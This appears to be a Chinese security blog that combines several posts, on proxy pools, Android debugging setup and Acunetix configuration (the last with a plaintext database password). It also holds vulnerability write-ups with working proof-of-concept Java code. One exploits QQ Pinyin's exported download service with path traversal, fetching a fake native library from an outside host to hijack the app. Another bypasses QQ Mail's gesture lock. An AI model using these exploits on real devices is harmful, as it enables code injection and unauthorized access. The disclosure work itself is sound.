近几年的工作多数围绕着Web Services进行，无非就是授权的攻击测试、扫描等等，这类操作也是各种WAF和风控机制的首选拦截对象。由于前期没有做代理，导致公司出口IP被某网站封禁，并通过各种威胁情报共享的机制被应用到更多网站上，甚至办公室没法访问公司自己的某些服务。去年开始尝试使用一些开源的工程搭建代理池，如scylla、proxy_pool、ProxyBroker等，因为只是简单的搭建，只能算是“能用”的阶段，一些问题并没有及时解决。最近对上述代理工具进行了一些严格的测试，并且阅读了部分代码，最终确定使用ProxyBroker作为代理工具，并加以改造，实现了稳定的代理池。
作为码农及安全行业从业人员，在工作中会使用到各种开发、逆向、分析、调试等工具。不少人都会在成长的过程中，构建一套符合自身习惯的环境，或者采用Kali Linux、Appie、吾爱破解工具箱之类的预装环境。上古时代，收集各种论坛发布的工具箱也是乐趣之一，从中可以搞到一些有趣的插件，学习一些配置。
在进行Android应用逆向分析的时候，让目标应用处于调试状态能极大的增加效率，能够完成如下功能：
开启调试开关的方法有：
AndroidManifest.xml文件ro.debuggable属性修改AndroidManifest.xml文件不推荐使用，不仅效率低下，而且越来多的应用加入完整性校验（甚至包括服务端完整性校验）后，还需要增加额外的时间成本完成这一简单的修改。尽管绕过完整性校验的方法并不难。
公司的测试机以小米居多，主要是为了使用Magisk、Xposed、Frida一类的框架。而MIUI不论是稳定版和开发版，OTA均无法彻底关闭。经常重启后开始OTA，导致环境被破坏。
目前常用的几种关闭OTA的方法有：
Host屏蔽对于挂代理无效（我们需要长期挂着代理），而禁用Updater.apk则过于繁琐。所以修改版本号对于我们而言是最稳定的方式。修改版本号需要动build.prop，修改其中ro.build.version.incremental的值为一个较大的版本号即可。
scrapy-selenium在和selenium的会话管理上相对完善和稳定，所以，派生一个SeleniumMiddleware的子类，重写即可。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
class RemoteSeleniumMiddleware(SeleniumMiddleware): def __init__(self, command_executor, desired_capabilities): self.driver = driver = webdriver.Remote( command_executor=command_executor, desired_capabilities=desired_capabilities) @classmethod def from_crawler(cls, crawler): command_executor = crawler.settings.get('SELENIUM_COMMAND_EXECUTOR') desired_capabilities = crawler.settings.get('SELENIUM_DESIRED_CAPABILITIES') middleware = cls( command_executor=command_executor, desired_capabilities=desired_capabilities, ) crawler.signals.connect(middleware.spider_closed, signals.spider_closed) return middleware |
对应的settings.py中，添加连接参数即可：
|
1 2 3 |
SELENIUM_COMMAND_EXECUTOR = "http://docker-host:4444/wd/hub" SELENIUM_DESIRED_CAPABILITIES = DesiredCapabilities.CHROME |
由于逍遥模拟器自带的adb版本较老，使用platform-tools的adb连接会出现不兼容。因此，复制platform-tools的adb替换即可。替换文件：
和其他模拟器一样，逍遥模拟器基于VirtualBox进行虚拟化。模拟器的网卡使用nat模式，然后通过配置forward，使得host的adb可以访问到模拟器的5555端口，默认配置下，hostip为127.0.0.1，远程访问只需要修改hostip即可。
打开memu配置文件，找到如下位置，修改即可：
|
1 2 3 4 |
<NAT> <Forwarding name="ADB" proto="1" hostip="0.0.0.0" hostport="21513" guestip="10.0.2.15" guestport="5555"/> <Forwarding name="MVD" proto="1" hostip="0.0.0.0" hostport="21511" guestip="10.0.2.15" guestport="21501"/> </NAT> |
终于下定决心买一台VPS。原因有两个，一来总是白嫖FlowerCode的服务器，实在不好意思；二来最近三年都在兼职成都办公室网管和部门IT的角色，一来二去的折腾，竟感觉还有那么些意思。所以，趁着休假的时机，正好有时机安静的折腾。
配置文件位于C:\ProgramData\Acunetix 11\settings.ini，数据库相关的字段如下：
|
1 2 3 4 5 |
databases.connections.master.connection.user=wvs databases.connections.master.connection.host=localhost databases.connections.master.connection.port=35432 databases.connections.master.connection.db=wvs databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi |
修改C:\ProgramData\Acunetix 11\db目录下的PostgreSQL配置文件pg_ident.conf和postgresql.conf可以让PostgreSQL外部访问，但升级的时候会出问题。Windows下，使用netsh进行端口转发，并且加入防火墙例外即可：
|
1 2 |
netsh interface portproxy add v4tov4 listenport=5432 listenaddress=0.0.0.0 connectport=35432 connectaddress=localhost netsh advfirewall firewall add rule name="Open PostgreSQL port of Acunetix 11" dir=in action=allow protocol=TCP localport=5432 |
QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤，导致任意文件下载，且没有对传入的文件名进行合法性校验，导致目录遍历。加上其本身Apk的特点，可以使用该组件感染/劫持so文件。
之前没注意QQ拼音已经归属搜狗，2015-04-27提交到了TSRC，告知已转交搜狗。至今漏洞依然存在，但从v4.9.2开始lib目录有所变化，无法感染/劫持。
查看AndroidManifest.xml文件，发现com.tencent.qqpinyin.voice.DownloadApkService导出：
|
1 2 3 4 5 |
<service android:name=".voice.DownloadApkService" android:process=":remote"> <intent-filter> <action android:name="com.tencent.qqpinyin.download.apk" /> </intent-filter> </service> |
DownloadApkService关键代码如下：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
public class DownloadApkService extends Service { private String apkName; private String apkPath; private IDownloadApkCallback callback; private DownloadHanlder handler; private boolean isCancel; private final IDownloadApkService$Stub mBinder; private DownloadApkService$DownLoadThread mDownLoadThread; private int progress; public DownloadApkService() { super(); this.handler = null; this.callback = null; this.apkName = null; this.mDownLoadThread = null; this.progress = 0; this.apkPath = null; this.isCancel = false; this.mBinder = new DownloadApkService$3(this); } public IBinder onBind(Intent arg2) { return this.mBinder; } public void onCreate() { super.onCreate(); this.handler = new DownloadHanlder(((Context)this), 101); this.apkName = null; } public int onStartCommand(Intent arg2, int arg3, int arg4) { return super.onStartCommand(arg2, arg3, arg4); } public boolean onUnbind(Intent arg2) { return super.onUnbind(arg2); } } |
所以，绑定了该服务即可通过mBinder进行远程调用。mBinder是DownloadApkService$3，实现的接口如下：
|
1 2 3 4 5 6 7 8 9 |
public interface IDownloadApkService extends IInterface { void cancelDownload(); void destoryService(); int getProgress(); void hideBackTask(); void registerCallback(IDownloadApkCallback arg1); void startBackTask(); void startDownload(String arg1, String arg2); } |
DownloadApkService$3的startDownload实际上调用的是DownloadApkService的download函数：
|
1 2 3 4 |
public void startDownload(String arg2, String arg3) { DownloadApkService.this.apkName = arg3; DownloadApkService.this.download(arg2, arg3); } |
download函数如下：
|
1 2 3 4 5 6 7 8 9 10 11 |
private void download(String arg7, String arg8) { if(!TextUtils.isEmpty(((CharSequence)arg7))) { this.isCancel = false; this.progress = 0; DownloadApkService$1 downloadApkService$1 = new DownloadApkService$1(this, this.getMainLooper()); this.apkPath = QSDCard.getPath() + this.getResources().getString(2131165543) + File.separator + arg8; this.mDownLoadThread = new DownloadApkService$DownLoadThread(this, new DownloadApkService$DownLoadTask( this, this, ((Handler)downloadApkService$1), arg7, this.apkPath)); this.mDownLoadThread.start(); } } |
所以，实际上调用的是DownloadApkService$DownLoadTask进行下载。程序预期在/storage/emulated/0/Tencent/QQInput/Apk/目录下写入文件，由于没有处理”../”，导致目录遍历，可以将文件写入任意位置。
和其他Service的利用有点差别，远程调用Binder需要在绑定后使用transact进行调用，通过Parcel传递返回值和参数。每一个函数的对应调用号可以在IDownloadApkService$Stub中找到：
|
1 2 3 4 5 6 7 |
static final int TRANSACTION_cancelDownload = 2; static final int TRANSACTION_destoryService = 5; static final int TRANSACTION_getProgress = 4; static final int TRANSACTION_hideBackTask = 7; static final int TRANSACTION_registerCallback = 6; static final int TRANSACTION_startBackTask = 3; static final int TRANSACTION_startDownload = 1; |
然后利用起来就十分简单了：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
private boolean call_download_service(String file_url, String download_path) { boolean status = false; if (!is_download_service_bound || download_service == null) { return status; } try { Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken(INTERFACE_TOKEN); data.writeString(file_url); data.writeString(download_path); if (!download_service.transact(1, data, reply, 0)) { return status; } data.recycle(); reply.recycle(); status = true; } catch (RemoteException e) { Log.e(TAG, "RemoteException raised."); e.printStackTrace(); return status; } return status; } @Click void doDownloadArbitraryFile() { if (is_download_service_bound) { String file_url = "http://shouji.360tpcdn.com/150922/76da5c4a51ea8b6881a5da4e0a835249/com.qihoo.appstore_300030250.apk"; String download_path = "tencentmobilemanager5.5.0.apk"; call_download_service(file_url, download_path); } else { // TODO: show toast. } } |
在QQ拼音for Android v4.9.1这个版本中，apk运行时所需的so文件并没有保存在apk的lib目录下，而是保存在了Apk的/res/raw/目录下，运行的时候释放到/data/data/com.tencent.qqpinyin/app_lib/目录并加载运行。在Android系统中，App自身无法写入/data/data/[PACKAGE_NAME]/lib/目录，只可读取。QQ拼音for Android v4.9.1的这种设计则绕过这种设计，并且在加载时只做了文件是否存在的校验，并没有其他完整性校验。利用如下代码可以感染libsecurity.so文件：
|
1 2 3 4 5 6 7 8 9 10 |
@Click void doInfectLibSecurity() { if (is_download_service_bound) { String file_url = "http://thecjw.0GiNr.com/7e8b56123e6d56f85e4d2af7a2def57c/libFakeSecurity.so"; String download_path = "../../../../../../data/data/com.tencent.qqpinyin/app_lib/libsecurity.so"; call_download_service(file_url, download_path); } else { // TODO: show toast. } } |
伪造的libsecurity.so被加载的时候会drop原始的so，并调用原始的JNI_Onload。效果如图所示：
完整代码请参考QQPinyinExp。
4.9.2后的版本，所用的so文件放在了lib目录下，无法直接写入。然而，com.tencent.connect.auth.AuthDialog会尝试加载的/data/data/com.tencent.qqpinyin/files/libwbsafeedit.so：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
package com.tencent.connect.auth; public class AuthDialog extends Dialog { static { try { Context context = Global.getContext(); if(context != null) { if(new File(context.getFilesDir().toString() + "/libwbsafeedit.so").exists()) { System.load(context.getFilesDir().toString() + "/libwbsafeedit.so"); f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib success."); return; } f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because so is not exists."); return; } f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib fail, because context is null."); } catch(Exception exception) { f.b("openSDK_LOG.authDlg", "-->load wbsafeedit lib error.", ((Throwable)exception)); } } |
看起来这是腾讯SSO的一个SDK，但目前没发现能触发的操作。如果其他App也用了这个SDK，配合额其他类似的漏洞，也可以达到劫持和感染的目的。
对于一个Android程序来说，没有一个统一的入口，任何导出的Activity都可以作为程序的入口。所以，如果在写程序的时候，没有考虑到每一个入口进入时的状态，就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个，连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC，结果那边回复说这是by design的，之后的沟通不了了之。
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
@Click void doEnterCalendarActivity() { (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute(); finish(); } private class AccessQQMailTask extends AsyncTask<Void, Void, Void> { private String target_activity_name; public AccessQQMailTask(String activity_name) { super(); target_activity_name = activity_name; } @Override protected void onPreExecute() { } void start_activity() { Intent intent = new Intent(); intent.setClassName(tencent_mail_package_name, target_activity_name); startActivity(intent); } @Override protected Void doInBackground(Void... params) { try { start_activity(); Thread.sleep(500); start_activity(); } catch (Exception e) { Log.e(TAG, e.getMessage()); } return null; } @Override protected void onPostExecute(Void result) { } } |
完整代码见：https://github.com/TheCjw/QQMailPatternLockBypass
结合Drozer，并针对导出Activity进行一些逆向分析，可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz，因为很大程度上涉及到了业务逻辑，初始化环境和检测结果免不了人工干预，但我们当初还是进行了一些尝试。大体的步骤是这样的：